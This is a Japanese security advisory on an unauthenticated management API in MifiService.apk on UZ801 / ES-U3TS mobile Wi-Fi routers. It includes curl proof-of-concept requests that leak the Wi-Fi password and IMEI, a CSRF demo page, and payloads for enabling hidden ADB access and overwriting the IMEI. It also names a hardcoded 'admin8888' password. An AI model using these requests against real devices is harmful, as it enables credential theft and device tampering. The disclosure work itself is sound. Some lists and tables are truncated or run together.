
OEM / ホワイトラベルの UZ801_v2.1 4G LTE モバイル Wi-Fi プラットフォーム(ES-U3TS としても販売されていることを確認)上の MifiService.apk によって公開されている組み込み Web 管理 API におけるアクセス制御の欠陥に関するセキュリティアドバイザリおよび技術メモ。
このリポジトリは、協調的な情報開示と CVE 採番を支援することを目的としています。再現可能で、武器化されていない技術的証拠に焦点を当てています。
影響を受けるデバイスは、以下の場所に Jetty ベースの HTTP 管理エンドポイントを公開しています:
http://192.168.100.1/ajax
バックエンドのリクエストディスパッチャは、以下に実装されています:
com.mifiservice.server.AjaxSevlet
Web UI はログインページを表示しますが、バックエンドはほとんどの管理機能に対して有効な認証済みサーバーサイドセッションを強制しません。その結果、隣接ネットワーク上の攻撃者は、認証なしで機密性の高い funcNo 操作を直接呼び出すことができます。
確認された影響には以下が含まれます:
追加の高リスク機能が静的解析によって確認されており、以下が含まれます:
テストしたハードウェアは、OEM / ホワイトラベルのデバイスファミリーに属していると思われます。正確な元の開発ベンダーは現在不明であり、信頼できるベンダーのセキュリティ連絡先もこれまでに特定されていません。
したがって、このアドバイザリでは以下の製品命名を使用します:
UZ801_v2.1ES-U3TSUZ801-V3.4.3MifiService.apkcom.mifiservice.hello同じファームウェア、APK、Web アセット、および funcNo の動作を出荷している追加のブランドや再販業者が見つかった場合、それらは同じコードベースの影響を受ける可能性が高い亜種として扱われるべきです。
/ajax Web API エンドポイントMifiService.apkcom.mifiservice.server.AjaxSevletこれは主にデフォルト認証情報の問題ではありません。
根本原因は、バックエンド API のアクセス制御の欠陥です:
Origin 検証が存在しませんReferer 検証が存在しませんログイン機能は存在しますが、管理 API の大部分に対して意味のある認可境界を提供していません。
主な攻撃ベクトル:
副次的な攻撃ベクトル:
これはデフォルトではインターネットに公開されたリモート攻撃ではありません。攻撃者は以下のいずれかを満たす必要があります:
192.168.100.1 への直接のレイヤ 2 / レイヤ 3 到達可能性を持っていること、または以下のすべての調査結果は、同じアクセス制御の欠陥の影響を受ける機能として含まれています。
関連する場合、各項目は以下のいずれかとして明示的にマークされています:
ライブ検証済み静的解析で確認この区別は正確性のために維持されています。高リスク機能は、公開ハードウェア上で意図的に実行されなかった場合、ライブテスト済みとして誤ってラベル付けされることはありません。
| funcNo | 説明 | ステータス | メモ |
|---|---|---|---|
2003 | 隠しメンテナンスパスワード経路 |
本稿執筆時点では、このデバイスは OEM / 再販業者チャネルを通じて、一貫性のない、または欠落したブランディングで販売されているようであり、信頼できる元の開発ベンダーの連絡先は確立されていません。
以下の例は、意図的に読み取り専用または影響の少ない検証に限定されています。これらは、武器化された悪用手順を提供せずに脆弱性を実証するために含まれています。
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1002}' \
http://192.168.100.1/ajax
期待される動作:
ssid を含みますpwd を平文で含みますcurl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1029}' \
http://192.168.100.1/ajax
期待される動作:
imei を含みますfwversion を含みます現在の言語を読み取る:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1030}' \
http://192.168.100.1/ajax
言語を設定する:
curl -s \
-H "Content-Type: application/json" \
-d '{"funcNo":1031,"Language":"Chinese"}' \
http://192.168.100.1/ajax
その後、元の値を復元します。
このエンドポイントは、セッション状態または Origin / Referer 検証を強制しません。したがって、接続中の被害者のブラウザを悪用して、バックグラウンドリクエストを送信させることができます。
最小限のデモページ:
<!doctype html>
<meta charset="utf-8">
<script>
fetch("http://192.168.100.1/ajax", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({funcNo: 1002})
});
</script>
この例は、意図的に読み取り専用の機能番号に限定されています。ユーザーや本番デバイスに対して展開しないでください。
以下の JSON 形式は、防御的分析とトリアージのみを目的として文書化されています。ここでは実行手順は提供されません。
2001 - 隠しデバッグインターフェースの有効化{"funcNo":2001}
コードで観察された動作:
setprop persist.sys.usb.config rndis,serial_smd,diag,adb を実行しますsync を実行します2004 - IMEI 上書き経路{"funcNo":2004,"imei":"<redacted-test-value>"}
コードで観察された動作:
AT+WRIMEI=<value> に相当する経路を呼び出します法的、コンプライアンス、およびデバイス整合性の懸念により、ここに公開ライブテストは含まれていません。
1002 の認証なしレスポンスの例{
"results": [
{
"dns1": "8.8.8.8",
"ssid": "4G-UFI-8E1",
"dns2": "8.8.8.8",
"mask": "255.255.255.0",
"pwd": "1234567890",
"wlan_ip": "192.168.100.1",
"IP": "192.168.100.1"
}
],
"error_info": "none",
"flag": "1"
}
1029 の認証なしレスポンスの例{
"results": [
{
"manufacture": "Qualcomm Technology",
"dbm": "",
"fwversion": "V3.4.3",
"imei": "863993064154463"
}
],
"error_info": "none",
"flag": "1"
}
この問題は、以下の理由から有力な CVE 候補です:
推奨される分類:
CWE-306 重要な機能に対する認証の欠如CWE-862 認可の欠如推奨される CVSS:
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2026-05-112026-05-122026-05-122026-05-12funcNo リクエストを拒否するOrigin と Referer を検証するこのリポジトリは、防御的研究、脆弱性開示、および調整を目的としています。公開されている例は、意図的に低リスクの検証に限定されています。高リスク機能は、是正と CVE トリアージに必要な範囲でのみ文書化されています。
| funcNo | 説明 | ステータス | メモ |
|---|
1002 | SSID、デバイス IP、DNS、Wi-Fi パスワードの読み取り | ライブ検証済み | Wi-Fi パスワードを平文で返します |
1009 | Wi-Fi 暗号化モードとパスワードの読み取り | ライブ検証済み | Wi-Fi パスワードを平文で返します |
1011 | DHCP 範囲、DNS、クライアントリストの読み取り | ライブ検証済み | ローカル偵察に有用 |
1015 | SIM ステータスの読み取り | ライブ検証済み | SIM 状態を返します |
1029 | IMEI、ファームウェア、製造元、信号情報の読み取り | ライブ検証済み | 機密性の高いデバイス ID を返します |
1052 | MAC フィルタモードと設定エントリの読み取り | ライブ検証済み | ポリシーと設定済みスロットを漏洩します |
2002 | アクティブな SIM スロットの読み取り | ライブ検証済み | 実行時状態を公開します |
| funcNo | 説明 | ステータス | メモ |
|---|
1004 | 接続モードの変更 | 静的解析で確認 | セッション強制は観察されませんでした |
1005 | 優先ネットワークモードの変更 | 静的解析で確認 | 運用への影響が大きい |
1007 | SSID / 最大ステーション数の変更 | 静的解析で確認 | 設定を永続化し、AP ロジックを再起動します |
1010 | Wi-Fi 暗号化モード / パスワードの変更 | 静的解析で確認 | 機密性への影響が大きい |
1012 | DHCP/DNS 関連設定の変更 | 静的解析で確認 | ローカルネットワークの改ざん |
1016/1017/1018 | APN プロファイルの読み取り / 設定 / 切り替え | 静的解析で確認 | WAN 動作の変更 |
1031 | 言語の変更と永続化 | ライブ検証済み | 書き込みアクセスの低リスクな証明として使用 |
1053/1054/1055 | MAC フィルタの動作とエントリの変更 | 静的解析で確認 | ネットワークアクセス制御の改ざん |
| funcNo | 説明 | ステータス | メモ |
|---|
1013 | デバイスの再起動 | ライブ検証済み | DoS / サービス中断 |
1014 | アプリ/ネットワーク設定のリセットと再起動 | ライブ検証済み | Android ユーザーデータの完全なワイプではありません |
2000 | ブートローダーへの再起動 | ライブ検証済み | 運用への影響が大きい |
2001 | 隠し ADB/Diag USB 設定の有効化と再起動 | 静的解析で確認 | 危険なメンテナンス経路 |
| 静的解析で確認 |
ハードコードされた admin8888 を使用。動作は部分的 / 残存しているように見えます |
2004 | IMEI の上書き | 静的解析で確認 | AT コマンド経路を呼び出します。公には実行されていません |